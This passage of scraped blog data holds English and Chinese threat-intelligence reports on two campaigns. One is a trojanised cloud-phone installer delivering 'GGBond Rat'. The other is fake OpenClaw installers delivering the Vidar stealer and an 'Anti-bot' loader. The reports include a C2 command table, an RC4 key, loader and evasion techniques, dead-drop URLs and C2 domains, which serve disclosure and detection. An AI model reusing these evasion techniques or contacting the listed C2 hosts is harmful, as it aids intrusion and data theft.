105od from February to late March 2026, and has currently returned to normal. This incident resulted in a large number of government and enterprise endpoints being compromised. The residual download records at that time are as follows:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Field</strong></td>\n<td><strong>Details</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps://www.andrXXXXXX.com/ (Official Website)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>hxxps://cos-clXXX-fXXe-data.phone.XXXXXX.com/Packages/PC/XXXXXXXXXRelease.exe (Official URL Path)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>5627c24dd7661df4d4c8617a9a68c8bf</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">The malicious installer runs a multi-layer Trojan loader outside of the normal installation process. Based on the specific data strings in the final payload, we have named the Trojan &quot;GGBond Rat&quot;. The C2 domain is hosted on Cloudflare CDN and appears in the OpenDNS Top 1M list.</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/04/14/3b276b830474c39e6ea9603d7f2a14fe.png" alt="" width="70%"></p>\n<p class="line" data-line="15">Based on PDNS data, we have analyzed the victim industry distribution of the C2 domain, involving education, information technology, government agencies, construction, finance, energy, and other sectors. It is speculated that the attackers obtained control of cloud phones through the supply chain attack, and then further used them as jump hosts or batch-controlled cloud phones for purposes such as &quot;traffic fraud&quot;, &quot;account nurturing&quot;, &quot;coupon abuse&quot;, or publishing sensitive information.</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/04/14/49e895f89cc27e83bf0fcad870ee1632.png" alt="" width="70%"></p>\n<p class="line" data-line="19">QiAnXin Tianqing (Endpoint Security) can already accurately detect and remove the GGBond trojan.</p>\n<p class="line img-box text-center" data-line="21"><img src="/uploads/2026/04/14/addcec9e76da0c5e1d8ab135bf4801dc.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="25">Attack Vector</h2>\n<p class="line" data-line="27">The replaced installer is a self-extracting archive, which after unpacking contains the normal installer (Release) and a malicious Dropper (Update):</p>\n<p class="line img-box text-center" data-line="29"><img src="/uploads/2026/04/14/7816bc12338bccf5602f63504f9fc0db.png" alt="" width="70%"></p>\n<p class="line" data-line="31">Update.exe first creates a folder with a random ID in the C:\\ProgramData directory.</p>\n<p class="line img-box text-center" data-line="33"><img src="/uploads/2026/04/14/de2f5b2e17913a43641eeeb240628bb2.png" alt="" width="70%"></p>\n<p class="line" data-line="35">And releases a DLL and BMP file in this folder.</p>\n<p class="line img-box text-center" data-line="37"><img src="/uploads/2026/04/14/56bba5e025030b1eac0c343d3f54625b.png" alt="" width="70%"></p>\n<p class="line" data-line="39">Finally creates a process to load the DLL.</p>\n<p class="line img-box text-center" data-line="41"><img src="/uploads/2026/04/14/a38c69fea1dabbd0dd7e19fc110cf5dc.png" alt="" width="70%"></p>\n<p class="line" data-line="43">The released DLL is a loader. Its exported function ProcessFile is used to decrypt and load 2385f470.bmp in memory. When opened normally, this file appears as a noise image, but internally contains shellcode.</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/04/14/dc20df2ce5f3e42c58a9745d0713f38e.png" alt="" width="70%"></p>\n<p class="line" data-line="47">The shellcode is still a loader, used to load the final Trojan payload in memory. The Trojan first creates the mutex Global\\MerMgrUploadingLockEx.</p>\n<p class="line img-box text-center" data-line="49"><img src="/uploads/2026/04/14/250f4a9136dbfa0cff2c730002a98f51.png" alt="" width="70%"></p>\n<p class="line" data-line="51">Collects device information.</p>\n<p class="line img-box text-center" data-line="53"><img src="/uploads/2026/04/14/b1eecbca85680a66e55cda5e43c2c98a.png" alt="" width="70%"></p>\n<p class="line" data-line="55">Initializes and parses C2 information through deserialization.</p>\n<p class="line img-box text-center" data-line="57"><img src="/uploads/2026/04/14/cb7a1c7d9c225e313c7cf8e718d95c2c.png" alt="" width="70%"></p>\n<p class="line" data-line="59">Encrypts the collected information and encodes it in Base64, then fills it into the E-GGBond-Id field.</p>\n<p class="line img-box text-center" data-line="61"><img src="/uploads/2026/04/14/c2ccb6d00728c03b245e2acf5bfeb6a1.png" alt="" width="70%"></p>\n<p class="line" data-line="63">Connects to C2, sends requests, and maintains persistent communication.</p>\n<p class="line img-box text-center" data-line="65"><img src="/uploads/2026/04/14/9694f795af794cb0216e56855c566ba7.png" alt="" width="70%"></p>\n<p class="line" data-line="67">Decrypts the corresponding instruction codes via RC4. The fixed key is as follows: FA 36 56 CD 80 A4 2F 09 97 9E B1 26 BC 62 45 BD.</p>\n<p class="line img-box text-center" data-line="69"><img src="/uploads/2026/04/14/896ea7bc5f104800e760dd470dce3b90.png" alt="" width="70%"></p>\n<p class="line" data-line="71">The corresponding remote control functions of the Trojan are as follows:</p>\n<ul>\n<li>0x3E: TCP connect to specified address</li>\n<li>0x3F: UDP connect to specified address</li>\n<li>0x40: Send UDP packet (send)</li>\n<li>0x41: Send UDP packet (sendto)</li>\n<li>0x42: Clear connected address</li>\n<li>0x43: Connection initialization</li>\n<li>0x64: Read file</li>\n<li>0x65: Copy file</li>\n<li>0x66: Get drive information</li>\n<li>0x67: Set and get current directory</li>\n<li>0x68: Get path and size of specified file</li>\n<li>0x69: Load payload</li>\n<li>0x6A: Delete file and named pipe</li>\n<li>0x6D: TCP or pipe connection</li>\n<li>0x6E: Find file</li>\n<li>0x6F: Move file</li>\n<li>0x70: Create directory</li>\n<li>0x71: Modify C2 connection status</li>\n<li>0x72: Collect process information</li>\n<li>0x73: Terminate specified process</li>\n<li>0x74: Create new process</li>\n<li>0x75: Get current directory</li>\n<li>0x76: Delete specified files and directories</li>\n<li>
1050x77: Create and write file</li>\n<li>0x7C: Clean up network connections</li>\n</ul>\n<br>\n<h2 class="line" data-line="101">Summary</h2>\n<p class="line" data-line="103">Currently, based on threat intelligence data from QiAnXin Threat Intelligence Center, all product lines including QiAnXin Threat Intelligence Platform (TIP), Tianqing , Tianyan Advanced Threat Detection System, QiAnXin NGSOC, and QiAnXin Situation Awareness have supported precise detection of such attacks.</p>\n<p class="line img-box text-center" data-line="105"><img src="/uploads/2026/04/14/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="109">IOC</h2>\n<p class="line" data-line="111"><strong>Md5</strong></p>\n<p class="line" data-line="113">5627c24dd7661df4d4c8617a9a68c8bf</p>\n<p class="line" data-line="115">7eb1a6495269e8faf6b0faecd5dfcf58</p>\n<p class="line" data-line="117"><strong>C2</strong></p>\n<p class="line" data-line="119">whapp.linkgt.cc</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-en"},{_id:xi,title:lt,category:s,readableId:"supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"奇安信威胁情报中心红雨滴团队私有情报生产流程发现国内一家提供云手机、虚拟手机的服务商官网安装包疑似于2026年2月-3月底期间被替换,目前已经恢复正常,该事件造成大量政企终端被控。",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:["供应链攻击","SUPPLY CHAIN",bp],publish_time:"2026-04-14T02:48:39.000Z",content:'<h2 class="line" data-line="0">影响面</h2>\n<p class="line" data-line="2">奇安信威胁情报中心红雨滴团队私有情报生产流程发现国内一家提供云手机、虚拟手机的服务商官网安装包疑似于2026年2月-3月底期间被替换,目前已经恢复正常。该事件造成大量政企终端被控,当时残留的下载记录如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>字段名称 (Field)</strong></td>\n<td><strong>详细信息 (Details)</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps://www.andrXXXXXX.com/ (官方网站)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>hxxps://cos-clXXX-fXXe-data.phone.XXXXXX.com/Packages/PC/XXXXXXXXXRelease.exe(官方URL路径)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>5627c24dd7661df4d4c8617a9a68c8bf</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">恶意的安装包会在正常的安装流程外运行多层木马加载器,基于最终payload中的特数据字符串,我们将特马命名为GGBond Rat,C2域名挂在cloudflare cdn上,并且位于opendns Top 1M列表中。</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/04/14/3b276b830474c39e6ea9603d7f2a14fe.png" alt="" width="70%"></p>\n<p class="line" data-line="15">基于Pdns数据,我们统计了C2域名的受害行业分布,涉及教育、信息技术、政府单位、建筑、金融、能源等领域。推测攻击者通过供应链攻击获取云手机控制权,从而进一步将其当作跳板或批量控制云手机进行&quot;刷量&quot;、&quot;养号&quot;、&quot;薅羊毛&quot;或发布敏感信息等目的。</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/04/14/49e895f89cc27e83bf0fcad870ee1632.png" alt="" width="70%"></p>\n<p class="line" data-line="19">目前奇安信天擎已经能够对该GGBond木马进行精准查杀:</p>\n<p class="text-center line img-box text-center" data-line="21"><img src="/uploads/2026/04/14/addcec9e76da0c5e1d8ab135bf4801dc.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="25">攻击面</h2>\n<p class="line" data-line="27">被替换的安装包为自解压文件,解包后包含正常的安装包(Release) 和一个 恶意的Dropper(Update):</p>\n<p class="line img-box text-center" data-line="29"><img src="/uploads/2026/04/14/7816bc12338bccf5602f63504f9fc0db.png" alt="" width="70%"></p>\n<p class="line" data-line="31">Update.exe首先在 C:\\ProgramData 文件夹下创建一个随机 ID 的文件夹。</p>\n<p class="line img-box text-center" data-line="33"><img src="/uploads/2026/04/14/de2f5b2e17913a43641eeeb240628bb2.png" alt="" width="70%"></p>\n<p class="line" data-line="35">并在该文件夹下释放一个 dll 和 bmp 文件。</p>\n<p class="line img-box text-center" data-line="37"><img src="/uploads/2026/04/14/56bba5e025030b1eac0c343d3f54625b.png" alt="" width="70%"></p>\n<p class="line" data-line="39">最后创建进程加载 dll。</p>\n<p class="line img-box text-center" data-line="41"><img src="/uploads/2026/04/14/a38c69fea1dabbd0dd7e19fc110cf5dc.png" alt="" width="70%"></p>\n<p class="line" data-line="43">释放的 dll 包含是个加载器,其导出函数 ProcessFile 用于在内存中解密并加载 2385f470.bmp,该文件正常打开时是一张噪点图片,内部包含 shellcode。</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/04/14/dc20df2ce5f3e42c58a9745d0713f38e.png" alt="" width="70%"></p>\n<p class="line" data-line="47">shellcode 仍然是加载器,用于在内存中加载最终载荷木马,木马首先创建 Global\\MerMgrUploadingLockEx 互斥体。</p>\n<p class="line img-box text-center" data-line="49"><img src="/uploads/2026/04/14/250f4a9136dbfa0cff2c730002a98f51.png" alt="" width="70%"></p>\n<p class="line" data-line="51">收集设备信息。</p>\n<p class="line img-box text-center" data-line="53"><img src="/uploads/2026/04/14/b1eecbca85680a66e55cda5e43c2c98a.png" alt="" width="70%"></p>\n<p class="line" data-line="55">初始化并通过反序列化解析 C2 信息。</p>\n<p class="line img-box text-center" data-line="57"><img src="/uploads/2026/04/14/cb7a1c7d9c225e313c7cf8e718d95c2c.png" alt="" width="70%"></p>\n<p class="line" data-line="59">将收集到的信息加密后进行 Base64,填充到 E-GGBond-Id 字段。</p>\n<p class="line img-box text-center" data-line="61"><img src="/uploads/2026/04/14/c2ccb6d00728c03b245e2acf5bfeb6a1.png" alt="" width="70%"></p>\n<p class="line" data-line="63">连接 C2 后发送请求,并保持持续回连。</p>\n<p class="line img-box text-center" data-line="65"><img src="/uploads/2026/04/14/9694f795af794cb0216e56855c566ba7.png" alt="" width="70%"></p>\n<p class="line" data-line="67">通过RC4解密对应的指令码,固定的key如下:FA 36 56 CD 80 A4 2F 09 97 9E B1 26 BC 62 45 BD。</p>\n<p class="line img-box text-center" data-line="69"><img src="/uploads/2026/04/14/896ea7bc5f104800e760dd470dce3b90.png" alt="" width="70%"></p>\n<p class="line" data-line="71">木马对应远控功能如下:</p>\n<ul>\n<li>0x3E:TCP 连接指定的地址</li>\n<li>0x3F:UDP 连接指定的地址</li>\n<li>0x40:发送 UDP 数据包(send)</li>\n<li>0x41:发送 UDP 数据包(sendto)</li>\n<li>0x42:清除已连接的地址</li>\n<li>0x43:连接初始化</li>\n<li>0x64:读取文件</li>\n<li>0x65:复制文件</li>\n<li>0x66:获取驱动器信息</li>\n<li>0x67:设置并获取当前目录</li>\n<li>0x68:获取指定文件的路径和大小</li>\n<li>0x69:加载payload</li>\n<li>0x6A:删除文件和命名管道</li>\n<li>0x6D:TCP或管道连接</li>\n<li>0x6E:查找文件</li>\n<li>0x6F:移动文件</li>\n<li>0x70:创建目录</li>\n<li>0x71:修改C2连接状态</li>\n<li>0x72:收集进程信息</li>\n<li>0x73:终止指定进程</li>\n<li>0x74:创建新进程</li>\n<li>0x75:获取当前目录</li>\n<li>0x76:删除指定的文件和目录</li>\n<li>0x77:创建并写入文件</li>\n<li>0x7C:清理网络连接</li>\n</ul>\n<br>\n<h2 class="line" data-line="101">总结</h2>\n<p class="line" data-line="103">目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。</p>\n<p class="line img-box text-center" data-line="105"><img src="/uploads/2026/04/14/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="109">IOC</h2>\n<p class="line" data-line="111"><strong>Md5</strong></p>\n<p class="line" data-line="113">5627c24dd7661df4d4c8617a9a68c8bf</p>\n<p class="line" data-line="115">7eb1a6495269e8faf6b0faecd5dfcf58</p>\n<p class="line" data-line="117"><strong>C2</strong></p>\n<p class="line" data-line="119">whapp.linkgt.cc</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn"},{_id:ep,title:Yr,category:f,readableId:"the-openclaw-you-grab-on-github-could-be-toxic-en",isPdfArticle:a,isAdvisorArticle:a,abstract:'As the recent "lobster farming" craze sweeps across the internet, the RedDrip Team of QiAnXin Threat Intelligence Center has detected numerous counterfeit OpenClaw installation sites distributing malware via our private intelligence system. Among the common trojans observed, we identified an "outlier"—carrying Russian debug strings and delivering an unprecedented malicious software. Due to its debug strings, we have named it "Anti-bot".',author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[fp,hp],publish_time:"2026-03-11T03:41:55.000Z",content:'<h3 class="line" data-line="0">
105Background</h3>\n<p class="line" data-line="2">As the recent &quot;lobster farming&quot; craze sweeps across the internet, the RedDrip Team of QiAnXin Threat Intelligence Center has detected numerous counterfeit OpenClaw installation sites distributing malware via our private intelligence system. Among the common trojans observed, we identified an &quot;outlier&quot;—carrying Russian debug strings and delivering an unprecedented malicious software. Due to its debug strings, we have named it <strong>&quot;Anti-bot&quot;</strong>.</p>\n<p class="line" data-line="4">Subsequent traceability analysis revealed that the initial intrusion vector of this attack was mentioned in recent security reports by foreign vendors<sup>[1]</sup>. However, during on-site investigations at government and enterprise customers, we discovered that the subsequent payloads and C2 infrastructure in this incident differ significantly from those described in the aforementioned reports. This indicates that the attackers are actively adjusting their malicious payloads to evade traditional detection mechanisms.</p>\n<p class="line img-box text-center" data-line="6"><img src="/uploads/2026/03/11/122503686f41cb68aa5b86259aa8e1d5.png" alt="" width="70%"></p>\n<p class="line" data-line="8">All trojan components involved in this incident can be detected by the QiAnXin Tianqing antivirus database:</p>\n<p class="line img-box text-center" data-line="10"><img src="/uploads/2026/03/11/6a8c3e8764d3e9c9ada2735c92043933.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="14">Sample Analysis</h3>\n<p class="line" data-line="16">The attacker forged an OpenClaw installation package and uploaded it to GitHub pages for phishing. The installation package has been uploaded to VirusTotal:</p>\n<p class="line img-box text-center" data-line="18"><img src="/uploads/2026/03/11/ead4f692b76c930abd672bae032c1a6b.png" alt="" width="70%"></p>\n<p class="line" data-line="20">After the victim executes the sample, it creates a new thread to perform malicious activities. First, it checks whether the current environment is a virtual machine and exits if detected:</p>\n<p class="line img-box text-center" data-line="22"><img src="/uploads/2026/03/11/e4b9b6c963dc867c801bb4809e7de703.png" alt="" width="70%"></p>\n<p class="line" data-line="24">It then collects device information, including usernames and egress IP addresses:</p>\n<p class="line img-box text-center" data-line="26"><img src="/uploads/2026/03/11/02aa52e453257d2f358b0a44ab541002.png" alt="" width="70%"></p>\n<p class="line" data-line="28">Next, it accesses the text hosting site <strong>snippet.host</strong>, where the attacker has configured download links for subsequent components:</p>\n<p class="line img-box text-center" data-line="30"><img src="/uploads/2026/03/11/afa816e802003e877b98d59462a0d192.png" alt="" width="70%"></p>\n<p class="line" data-line="32">The component links accessed are as follows. The sample downloads and extracts them sequentially, with the extraction password being 8TDk2FBsKG5UN2NNc3p:</p>\n<p class="line img-box text-center" data-line="34"><img src="/uploads/2026/03/11/f86e20521e36aad25f9cb21def79da65.png" alt="" width="70%"></p>\n<p class="line" data-line="36">The extracted components are dropped into paths such as C:\\ProgramData, C:\\OneDriveTemp, C:\\Users\\Public, and C:\\Windows:</p>\n<p class="line img-box text-center" data-line="38"><img src="/uploads/2026/03/11/fdf863c36c03a8ad87e5ce625afb1579.png" alt="" width="70%"></p>\n<p class="line" data-line="40">The sample also contains embedded PowerShell scripts to set these folders as Windows Defender exclusions:</p>\n<p class="line img-box text-center" data-line="42"><img src="/uploads/2026/03/11/686204c0b91788480f2f288b62d3a466.png" alt="" width="70%"></p>\n<p class="line" data-line="44">The firewall opens three ports—<strong>57001, 57002, and 56001</strong>—allowing inbound traffic:</p>\n<p class="line img-box text-center" data-line="46"><img src="/uploads/2026/03/11/5e736290385e66c4c4b63cca04e4ffbf.png" alt="" width="70%"></p>\n<br>\n<h4 class="line" data-line="50">wrapper</h4>\n<p class="line" data-line="52">
105Among the downloaded components, one type is a loader. These components share a uniform PDB: wrapper.pdb.</p>\n<p class="line img-box text-center" data-line="54"><img src="/uploads/2026/03/11/8962f33c031abe959b729488e2e81ef1.png" alt="" width="70%"></p>\n<p class="line" data-line="56">Its function is to decrypt and load the payload from its own resources. During loading, it checks whether the header is <strong>ERED</strong>:</p>\n<p class="line img-box text-center" data-line="58"><img src="/uploads/2026/03/11/541f2421841c3ba70047649a19ac80ff.png" alt="" width="70%"></p>\n<p class="line" data-line="60">The attacker inserts the encrypted payload in segments into a software disclaimer as a resource. During loading, it extracts payload fragments in segments, assembles them, and then decrypts them:</p>\n<p class="line img-box text-center" data-line="62"><img src="/uploads/2026/03/11/d239e594c81b5b16bf553414aedbf8dd.png" alt="" width="70%"></p>\n<p class="line" data-line="64">The decryption algorithm is as follows:</p>\n<p class="line img-box text-center" data-line="66"><img src="/uploads/2026/03/11/52e47b278e9e0f3b76dc49b876fb7721.png" alt="" width="70%"></p>\n<p class="line" data-line="68">The loaded payload is the <strong>Vidar</strong>
105 information stealer, which retrieves C2 infrastructure by accessing https://steamcommunity.com/profiles/76561198735736086 and https://telegram.me/pr55ii:</p>\n<p class="line img-box text-center" data-line="70"><img src="/uploads/2026/03/11/f34f64b3f7f485f8b540007072f84332.png" alt="" width="70%"></p>\n<p class="line" data-line="72">As a veteran MaaS (Malware-as-a-Service)-based stealer trojan, it is used to steal browser data, passwords, cryptocurrency wallets, files, and other sensitive information.</p>\n<p class="line img-box text-center" data-line="74"><img src="/uploads/2026/03/11/8b30f01bff28fd28e59fbef41faa7a28.png" alt="" width="70%"></p>\n<br>\n<h4 class="line" data-line="78">Anti-bot</h4>\n<p class="line" data-line="80">This component contains &quot;Anti-bot&quot; strings in its debug information, hence the name <strong>Anti-bot</strong>:</p>\n<p class="line img-box text-center" data-line="82"><img src="/uploads/2026/03/11/d5df102278a9c08c755aa9993995d26f.png" alt="" width="70%"></p>\n<p class="line" data-line="84">The sample first performs persistence operations, copying itself to the following paths and setting up startup items and scheduled tasks:</p>\n<p class="line img-box text-center" data-line="86"><img src="/uploads/2026/03/11/8df02d2d785bb7008fc03581f933f19e.png" alt="" width="70%"></p>\n<p class="line" data-line="88">It then retrieves payload execution information from hosting sites <strong>pastebin.com</strong> and <strong>snippet.host</strong>:</p>\n<p class="line img-box text-center" data-line="90"><img src="/uploads/2026/03/11/66107765eb1e5a9d95ff3a0db6184579.png" alt="" width="70%"></p>\n<p class="line" data-line="92">This information is distributed in the form of username + payload download link. First, it compares whether the username matches:</p>\n<p class="line img-box text-center" data-line="94"><img src="/uploads/2026/03/11/7cf462e946080d882a80c6f86cb604d3.png" alt="" width="70%"></p>\n<p class="line" data-line="96">If the comparison succeeds, it downloads the payload from the link and loads it for execution:</p>\n<p class="line img-box text-center" data-line="98"><img src="/uploads/2026/03/11/e1c7c20b5b5daa7588b8b419171f9f18.png" alt="" width="70%"></p>\n<p class="line" data-line="100">It sends the execution results to a Telegram bot:</p>\n<p class="line img-box text-center" data-line="102"><img src="/uploads/2026/03/11/97c9dc122cef0bc3a89e1901bb113f5b.png" alt="" width="70%"></p>\n<p class="line" data-line="104">The content consists of chat_id and text:</p>\n<p class="line img-box text-center" data-line="106"><img src="/uploads/2026/03/11/ec22dadd79b2c849417979dc054a2abe.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="110">Summary</h3>\n<p class="line" data-line="112">Currently, QiAnXin\'s entire product line based on threat intelligence data from QiAnXin Threat Intelligence Center—including the QiAnXin Threat Intelligence Platform (TIP), Tianqing, SkyEye Advanced Threat Detection System, QiAnXin NGSOC, and QiAnXin Situational Awareness—supports precise detection of such attacks.</p>\n<p class="line img-box text-center" data-line="114"><img src="/uploads/2026/03/11/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="118">IOC</h3>\n<p class="line" data-line="120"><strong>Md5</strong></p>\n<p class="line" data-line="122">9c2a01bcd083246339fc58095571c814</p>\n<p class="line" data-line="124">94f963ced97df8da826674b00ccbda43</p>\n<p class="line" data-line="126">f9a25264ecf9013d2639875ce7f314cb</p>\n<p class="line" data-line="128">397405106d895815a9bef8d84445af5a</p>\n<p class="line" data-line="130">b7a76b82c2a5e16a3c346cc6aa145556</p>\n<p class="line" data-line="132">fa90cda6f8335e8145ab338fa9517eeb</p>\n<p class="line" data-line="134">5ecc69862381388fac15bec26bd463f1</p>\n<p class="line" data-line="136">96a9e4e6884427eee214daea3c4e8976</p>\n<p class="line" data-line="138"><strong>C2</strong></p>\n<p class="line" data-line="140">ctl.it-bd.com</p>\n<p class="line" data-line="142">ctl.it-bd.com</p>\n<p class="line" data-line="144">hro.it-bd.com</p>\n<p class="line" data-line="146">pay.it-bd.com</p>\n<p class="line" data-line="148">kur.it-bd.com</p>\n<p class="line" data-line="150">cms.it-bd.com</p>\n<p class="line" data-line="152">ueb.it-bd.com</p>\n<p class="line" data-line="154">hlk.it-bd.com</p>\n<p class="line" data-line="156">wtf.it-bd.com</p>\n<p class="line" data-line="158">tfx.it-bd.com</p>\n<p class="line" data-line="160">gor.it-bd.com</p>\n<p class="line" data-line="162">ctl.cardiffphysio.com</p>\n<br>\n<h3 class="line" data-line="166">References</h3>\n<p class="line" data-line="168">[1] https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/the-openclaw-you-grab-on-github-could-be-toxic-en"},{_id:$r,title:Zr,category:f,readableId:"the-openclaw-you-grab-on-github-could-be-toxic-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"随着最近“养龙虾”热潮席卷全网,奇安信威胁情报中心红雨滴团队私有情报系统监测到大量仿冒OpenClaw的安装站点正在借机投毒。在一众常见的木马中,我们发现一个“另类”——它携带着俄语调试字符串,投递的是一款前所未见的恶意软件。因其调试字符串,我们将其命名为 “Anti-bot”。",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[fp,hp],publish_time:"2026-03-11T02:25:43.000Z",content:'<h3 class="line" data-line="0">背景</h3>\n<p class="line" data-line="2">随着最近“养龙虾”热潮席卷全网,奇安信威胁情报中心红雨滴团队私有情报系统监测到大量仿冒 OpenClaw 的安装站点正在借机投毒。在一众常见的木马中,我们发现一个“另类”——它携带着俄语调试字符串,投递的是一款前所未见的恶意软件。因其调试字符串,我们将其命名为 “Anti-bot”。</p>\n<p class="line" data-line="4">在后续的溯源分析中发现,该攻击的初始入侵方式已在近期被境外友商的安全报告提及[1]。然而,在政企客户的现场中发现,此次事件中的后续 Payload 和 C2 与友商报告中提到的情况存在显著差异。这一现象表明,攻击者仍在积极调整其恶意载荷以规避传统的检测机制。</p>\n<p class="line img-box text-center" data-line="6"><img src="/uploads/2026/03/11/122503686f41cb68aa5b86259aa8e1d5.png" alt="" width="70%"></p>\n<p class="line" data-line="8">该事件涉及相关木马组件,天擎病毒库均能查杀:</p>\n<p class="line img-box text-center" data-line="10"><img src="/uploads/2026/03/11/6a8c3e8764d3e9c9ada2735c92043933.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="14">样本分析</h3>\n<p class="line" data-line="16">攻击者伪造了 OpenClaw 的安装包,并将其上传到 Github 页面上进行钓鱼,安装包目前已经被上传到 VT 上:</p>\n<p class="line img-box text-center" data-line="18"><img src="/uploads/2026/03/11/ead4f692b76c930abd672bae032c1a6b.png" alt="" width="70%"></p>\n<p class="line" data-line="20">受害者运行后,样本会创建一个新线程执行其恶意行为,首先会监测当前环境是否在虚拟机中,检测到就退出。</p>\n<p class="line img-box text-center" data-line="22"><img src="/uploads/2026/03/11/e4b9b6c963dc867c801bb4809e7de703.png" alt="" width="70%"></p>\n<p class="line" data-line="24">之后会收集设备信息,包括用户名和出口 IP 等。</p>\n<p class="line img-box text-center" data-line="26"><img src="/uploads/2026/03/11/02aa52e453257d2f358b0a44ab541002.png" alt="" width="70%"></p>\n<p class="line" data-line="28">之后访问文本托管网站 snippet.host,攻击者设置了后续组件的下载链接。</p>\n<p class="line img-box text-center" data-line="30">
105<img src="/uploads/2026/03/11/afa816e802003e877b98d59462a0d192.png" alt="" width="70%"></p>\n<p class="line" data-line="32">访问到的组件链接如下,样本会依次下载并解压,解压密码为 8TDk2FBsKG5UN2NNc3p。</p>\n<p class="line img-box text-center" data-line="34"><img src="/uploads/2026/03/11/f86e20521e36aad25f9cb21def79da65.png" alt="" width="70%"></p>\n<p class="line" data-line="36">解压后的组件释放在 C:\\ProgramData、C:\\OneDriveTemp、C:\\Users\\Public、C:\\Windows 等路径下。</p>\n<p class="line img-box text-center" data-line="38"><img src="/uploads/2026/03/11/fdf863c36c03a8ad87e5ce625afb1579.png" alt="" width="70%"></p>\n<p class="line" data-line="40">样本中还内置了 powershell 脚本将这些文件夹设置为 Defender 排除项。</p>\n<p class="line img-box text-center" data-line="42"><img src="/uploads/2026/03/11/686204c0b91788480f2f288b62d3a466.png" alt="" width="70%"></p>\n<p class="line" data-line="44">防火墙开放 57001, 57002, 56001 三个端口,允许入站流量。</p>\n<p class="line img-box text-center" data-line="46"><img src="/uploads/2026/03/11/5e736290385e66c4c4b63cca04e4ffbf.png" alt="" width="70%"></p>\n<br>\n<h4 class="line" data-line="50">wrapper</h4>\n<p class="line" data-line="52">下载的组件中,其中一个类型是加载器,这些组件具有统一的 PDB:wrapper.pdb</p>\n<p class="line img-box text-center" data-line="54"><img src="/uploads/2026/03/11/8962f33c031abe959b729488e2e81ef1.png" alt="" width="70%"></p>\n<p class="line" data-line="56">其功能是从自身资源 中解密并加载 payload,加载时会检测头部是否为 ERED</p>\n<p class="line img-box text-center" data-line="58"><img src="/uploads/2026/03/11/541f2421841c3ba70047649a19ac80ff.png" alt="" width="70%"></p>\n<p class="line" data-line="60">攻击者将加密的 payload 分段插入到一个软件免责声明中作为资源,加载时会分段提取 payload 片段并将其组合后解密</p>\n<p class="line img-box text-center" data-line="62"><img src="/uploads/2026/03/11/d239e594c81b5b16bf553414aedbf8dd.png" alt="" width="70%"></p>\n<p class="line" data-line="64">解密算法如下:</p>\n<p class="line img-box text-center" data-line="66"><img src="/uploads/2026/03/11/52e47b278e9e0f3b76dc49b876fb7721.png" alt="" width="70%"></p>\n<p class="line" data-line="68">加载的 payload 为 vidar 窃密木马,通过访问 https://steamcommunity.com/profiles/76561198735736086 和 https://telegram.me/pr55ii 获取 C2。</p>\n<p class="line img-box text-center" data-line="70"><img src="/uploads/2026/03/11/f34f64b3f7f485f8b540007072f84332.png" alt="" width="70%"></p>\n<p class="line" data-line="72">作为基于 maas 的老牌窃密木马,用于窃取浏览器数据、密码、加密货币钱包、文件等敏感信息。</p>\n<p class="line img-box text-center" data-line="74"><img src="/uploads/2026/03/11/8b30f01bff28fd28e59fbef41faa7a28.png" alt="" width="70%"></p>\n<br>\n<h4 class="line" data-line="78">Anti-bot</h4>\n<p class="line" data-line="80">该组件的 debug 信息中包含 Anti-bot 字符串,故命名为 Anti-bot。</p>\n<p class="line img-box text-center" data-line="82"><img src="/uploads/2026/03/11/d5df102278a9c08c755aa9993995d26f.png" alt="" width="70%"></p>\n<p class="line" data-line="84">该样本首先会执行持久化操作,将自身复制到如下路径并设置自启动项和计划任务。</p>\n<p class="line img-box text-center" data-line="86"><img src="/uploads/2026/03/11/8df02d2d785bb7008fc03581f933f19e.png" alt="" width="70%"></p>\n<p class="line" data-line="88">之后会从托管网站 pastebin.com 和 snippet.host 获取要执行的 payload 